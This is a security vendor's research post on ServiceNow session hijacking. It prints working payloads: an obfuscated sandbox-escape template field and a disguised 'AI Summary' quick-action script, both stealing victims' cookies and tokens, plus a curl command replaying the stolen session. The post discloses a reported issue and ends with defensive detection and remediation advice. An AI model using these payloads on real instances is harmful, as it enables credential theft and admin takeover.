The Help Desk Role and AI Button That Can Hijack Your ServiceNow Admin
Varonis Threat Labs found that two common, low-privileged ServiceNow roles can silently hijack any user's live session, up to and including a full administrator — no password or sandbox escape required.

Key Takeaways
- Low-privileged ServiceNow roles like template_editor can plant code that hijacks any other user's session, including an administrator's.
- The attack works by editing a shared incident template or Now Assist quick action, which runs in the victim's session the moment they use it.
- A stolen cookie and token form a fully replayable session, letting attackers act with admin access while logs show the victim's identity.
The next ServiceNow session an admin loses might not be a stolen password or a zero-day. It could simply be due to a shared incident template or an "AI Summary" button they clicked without a second thought.
Varonis Threat Labs discovered that two ServiceNow roles — one held by ordinary help-desk agents, the other by anyone managing ServiceNow's generative AI feature Now Assist — are enough to silently capture the live session of any other user on the instance, up to and including a full administrator.
Both techniques exploit trust in routine, everyday actions on a platform that thousands of organizations, including over 85% of the Fortune 500, use to run their IT operations. With the rapid expansion of AI features like Now Assist across business environments, this poses a real risk for any security team that hasn't specifically reviewed the permissions associated with these roles.
No system administrator role is needed, and a password is not required. The attacker simply plants a script once, in an existing location, and waits for the victim to trigger it through normal use.
The two roles are:
template_editor + ITIL: The ability to edit a shared incident template and turn a text field into executable code.sn_nowassist_admin: The ability to wire a Now Assist "quick action" to a button on the incident form.
ServiceNow considers this issue fixed, and the specific sandbox-escape method used to demonstrate one of these findings no longer exists. However, the underlying feature — that low-privileged roles can plant code that runs inside someone else's session — remains present by design, on every current version, regardless of patch level.
Learn how Varonis Threat Labs uncovered the role’s abilities and our recommendations for detecting and remediating the issue in your environment.
The ServiceNow attack surface and escape engine
While commonly seen as an ITSM ticketing system, ServiceNow deployments in enterprise environments reach much deeper.
Through IT Operations Management (ITOM) and Active Directory integrations, ServiceNow actively handles server provisioning, configuration compliance, and identity synchronization. This is a prime target for attackers, as high-privilege access to ServiceNow often equates to super-admin access over the organization's underlying infrastructure.
ServiceNow executes server-side JavaScript using Mozilla Rhino, an open-source engine that runs on the Java Virtual Machine (JVM). This lets ServiceNow embed a full scripting language directly inside the platform, with a bridge down to the underlying Java objects the platform is built on.
Rhino isn't a side feature — it's the engine behind how ServiceNow lets you customize behavior with code: Business Rules that fire on record changes, Script Includes for reusable server-side libraries, and the background script console available to admins. Some of these run with the full privileges of the platform itself, while others run scoped to the user whose action triggered them, gated by an ACL-aware sandbox that restricts what the script can access.
Here is where we got curious: If the sandbox exists to restrict what a user-context script can touch, could we find a spot where a low-privileged user's code executes in a high-privileged user's context instead? If so, what would it be able to read once it got there?
Finding the primitive
We started by looking for the most direct surface where code runs to test. The sandbox itself was the easiest one to check. As an admin, ServiceNow gives you a background script console, a text box where you run arbitrary server-side JavaScript directly, in full system context.
ServiceNow wraps Rhino in a sandbox that restricts what a script can access, blocking direct manipulation of shared objects like the global object and access to Java classes outside a script's intended scope. A sandbox is only as strong as the escapes it accounts for.
We confirmed that a script running from the console can access GlideTransaction and read its own session: cookie, security token, all of it. That confirmed the primitive existed, but in this setup, it didn't help us escalate privileges. An admin with console access already has every privilege on the instance. What it does give an attacker who already has that access is persistence — a standing way to keep re-harvesting fresh session material every time the admin logs back in, long after the originally captured token has expired.
The next question was whether a similar surface exists for someone who is not an admin or somewhere a low-privileged user can also make code run.
Incident templates: a lower-privileged surface
Incident templates are ServiceNow's mechanism for pre-filling a record with a standard set of values so a help desk user doesn't have to manually fill in the same fields every time for routine tickets. Normally, they’re created once by an admin or a process owner, and then shared across a team, a department, or the whole instance, so anyone handling that ticket type can apply the same starting point. Applying one is a single click on an existing incident.
That turned out to be exactly the surface we were looking for. A template field can hold a value prefixed with javascript:, evaluated as real code the moment the template is applied. Editing an existing shared template requires nothing more than the template_editor role paired with ITIL — the standard role assigned to help-desk-level agents, not an administrative one.
That still isn't a vulnerability on its own. Templates support JavaScript fields on purpose, so an agent can assign a field to the current user, add a timestamp, or pull in a value from elsewhere in the record — none of which is dangerous by itself. The final piece was finding a scenario in which the low-privileged author's code doesn't run in their own session but in someone else's, such as when a low-privileged author and a high-privileged runner end up executing the same script without either realizing it.
Templates have that exact shape. The attacker writes the field, but whoever applies the template — potentially an actual administrator — is the one whose session context it runs in.
How the exploitation works
1. Plant the payload.
With only template_editor and ITIL, an attacker can open an existing shared incident template. From there, they set a text field, such as Comments, to the following:
javascript:({}).constructor.constructor(
"var k='Gl'+'ide'+'Trans'+'action';" +
"var req = global[k].get().getRequest();" +
"var t = String(req.getHeader('x-usertoken'));" +
"var c = String(req.getHeader('cookie'));" +
"return 'TOKEN:' + t + ' | COOKIE:' + c;"
)() They save it. Nothing happens yet — the field just holds this value like any other template field.

Why ({}).constructor.constructor(...) works
({}).constructor.constructor(...) is a classic JavaScript sandbox-escape pattern, and it's worth walking through.
Walking the prototype chain
{} is just an empty JavaScript object. Like every JavaScript object, it has a .constructor property. For {}, that points to Object.
Object is also a function, and functions have their own .constructor property. That second .constructor points to Function, which is JavaScript’s way to create a new function from a string.
So this:
({}).constructor.constructor("...")()
is basically a hidden way to say:
new Function("...")()
That matters because the sandbox is looking for obviously dangerous words in the script, like Function, eval, Packages, or direct access to blocked global objects. But the script does not write Function directly. It reaches it indirectly through normal JavaScript properties, starting from {}.
Why the sandbox never sees it coming
The sandbox escape works by scanning a script's source text for identifiers it already considers dangerous. It never has to reason where a chain of property lookups actually ends up.

What running unrestricted gets you
A template field is only supposed to compute a value for that field. Once the payload gets to Function, it can compile and run a new script from a string. That new script is no longer limited in the same way the original template expression was supposed to be. From there, it can reach GlideTransaction, which exposes the live HTTP request behind the current user’s action.
That is how a template value that should only fill in a field ends up reading the victim's request headers, including the session cookie and X-UserToken.

Hiding GlideTransaction the same way
The same logic — never write the dangerous word where static checks can see it — applies to the API the payload calls after it escapes. GlideTransaction never appears in the saved field as one full word. It is built at runtime from 'Gl'+'ide'+'Trans'+'action' so any detection that relies on simple string matching for GlideTransaction may miss it.

2. Victim applies the template.
Later, after applying the malicious template, someone opens an incident and applies it as they always do. It could be an agent, a manager, or an admin. There's nothing suspicious about that step because applying templates is exactly how the feature is supposed to be used.
3. The script runs in the victim's session.
When the template is applied, ServiceNow evaluates the Comments field in the context of that request — the request owned by the person who clicked "Apply," not the person who edited the template. From there, the payload reaches the live request object and reads the victim's cookie header and security token, not the attacker's. It then stitches those values together and writes them back into the field.
4. Read the result.
The target field (in our example, the Comments field) now contains the victim's live cookies and session token in plain text. The attacker doesn't need anything special to retrieve it, as their help desk access is sufficient to open the incident and copy the value.

Step 5: Replay the session.
A cookie plus a valid token is a complete, replayable session:
curl -L -X GET "https://<instance>.service-now.com/api/now/table/incident?sysparm_limit=1" \
-H "Cookie: <captured_cookies>" \
-H "X-UserToken: <captured_token>" \
-H "Accept: application/json" At that point, the request is running as the victim. If that victim is an administrator, the attacker effectively has admin access to the instance, and anything they do from there appears in the logs under the victim's identity.
It doesn't have to end with that one stolen session, either. Once the attacker has a valid admin session, they can add a business rule that performs the same read on future logins, collecting the administrator cookies and tokens every time they return. A single captured session can become ongoing access to the instance, even after the original token expires.
Why session hijacking is possible
ServiceNow’s initial response to our findings highlighted that the reason templates can't simply stop evaluating scripts is also the reason this works in the first place: "Template fields...use javascript:-prefixed expressions to dynamically populate record values when the template is applied [to] assign a field to the current user. [...] Without access to them, templates would be limited to static values only, which would break the feature entirely."
That is the problem in plain terms. ServiceNow treats a harmless script that inserts the current user's ID the same way it treats a malicious one that reads the current user's session token. Both are JavaScript, run from the same kind of field, and can be placed by the same role. The feature depends on code execution, but once that code starts running, there's no meaningful boundary around what it can read.
ServiceNow has patched the sandbox-escape technique shown above — the constructor.constructor pattern — as part of a broader hardening effort. But the template evaluation itself hasn't changed. Templates can still run code and still read a broad set of information about the user applying them, and ServiceNow considers that behavior intentional.
Now Assist quick actions — a new attack path by design
Now Assist, ServiceNow's AI feature, has an internal quick-action mechanism with the same basic shape as template fields: a named action backed by a server-side script, triggered when a UI element (usually a button) calls it. Building and wiring one up requires the sn_nowassist_admin role, not full System Administrator access.
A malicious "AI Summary" button
The setup:
- Create an exfiltration point: Either create a small table (e.g.
u_cookies, with a string fieldu_sss) to hold stolen credentials, or reuse an existing writable field on thewwna_quick_actionsrecord itself so nothing new has to be provisioned. - Create the malicious quick action: Navigate to
wwna_quick_actionsand create a record with the harvesting script below in the Script field. - Create the UI button: Navigate to
sys_ui_action.listand add a UI Action on theIncidenttable. Something innocuous, like "Generate AI Summary," that calls the quick action when clicked.
(function processScript() {
try {
var k = 'Gl' + 'ide' + 'Trans' + 'action';
var globalObj = (function() { return this; })();
var trans = globalObj[k] || global[k];
var rawCookies = "";
if (trans) {
rawCookies = String(trans.get().getRequest().getHeader('cookie'));
}
var xToken = gs.getSessionToken();
var log = new GlideRecord('u_cookies');
log.initialize();
log.u_sss = "COOKIES: " + rawCookies + " | TOKEN: " + xToken;
log.insert();
return JSON.stringify({ status: "success", token_found: !!xToken });
} catch (e) {
return "ERROR: " + e.message;
}
})();
] To the person using Now Assist, the button looks like any other feature. If someone clicks it, their live session is captured in the background with no visible sign that anything happened — even to an administrator. The same replay step from above then gives the attacker a full session as that victim.

Detection and remediation
For ServiceNow admins, we recommend:
- Treat template and quick-action script fields as privileged code, not routine data: Anything that can execute
javascript:-prefixed values,wwna_quick_actionsscripts should go through the same review process as a Business Rule, not the lighter review a "template" or "AI button" implies. - Gate who can create or edit shared templates and quick actions:
template_editor + ITIL, andsn_nowassist_admin, are both far more common grants than System Administrator. Treat them accordingly when assigning roles. - Enable alerts on scripts that touch authentication headers: Any script reading
x-usertoken,cookieorAuthorizationoutside a small, explicitly approved allowlist of system-context scripts is worth an automatic flag. - Restrict and log background-script console access: Ideally to a small, named list of accounts, with every execution logged and alertable. That surface alone is enough to build session-harvesting persistence, as shown above.
- Watch for runtime redefinition of built-in prototype methods:
String.prototype.splitand similar. A script that overwrites a JavaScript built-in has no legitimate reason to do so inside ServiceNow's automation contexts. - Monitor session telemetry for anomalies: Actively monitor sessions for unexpected changes in IP addresses, devices, and other client fingerprints that could indicate a hijacked token is being replayed.
- Enforce network-level access controls: Limit access for administrators and highly privileged users to specific, trusted subnets using ServiceNow's established IP Access Controls. This drastically reduces the usable attack surface even if a session is successfully captured.
How Varonis helps detect ServiceNow abuse
Defending against this type of ServiceNow attack requires looking beyond the initial token theft to the underlying data and user activity. The Varonis Data Security Platform monitors your ServiceNow instance, the critical data within it, and exactly who is accessing or modifying that data.
It continually analyzes user actions, administrative configurations, and data access. If an attacker replays a stolen session and begins acting erratically, Varonis flags the anomalies, whether that is accessing unusual records, altering privileges, or behaving outside the admin's normal pattern. This enables security teams to quickly investigate suspicious activity, pinpoint the affected accounts, and neutralize the threat before significant damage occurs.
When low-privilege roles hide risk
What this research really shows is that admin-level compromise doesn't require an admin account. A help desk agent editing a shared template, or someone managing an AI feature that most teams treat as low risk, already has enough access to capture a live session from anyone else on the instance, including a full administrator.
The specific sandbox-escape technique demonstrated in this post is fixed, and template field scripts are now evaluated with sandbox enforcement on patched instances.
For CISOs and ServiceNow teams, the real exposure isn't one vulnerability to patch. It's the assumption that low-privilege roles carry low risk in nearly every platform in your tech stack. In ServiceNow, any role that can write executable script into a template field or a Now Assist quick action deserves the same scrutiny as administrative access, because in practice it can produce the same outcome.
Varonis is sharing this research so that security teams can stay secure and prevent incidents before they occur. If your organization runs ServiceNow, this is a good moment to revisit who holds these roles and how that access is monitored. Varonis customers get visibility into this kind of session and privilege abuse, and our team is available to help any organization assess where they stand.



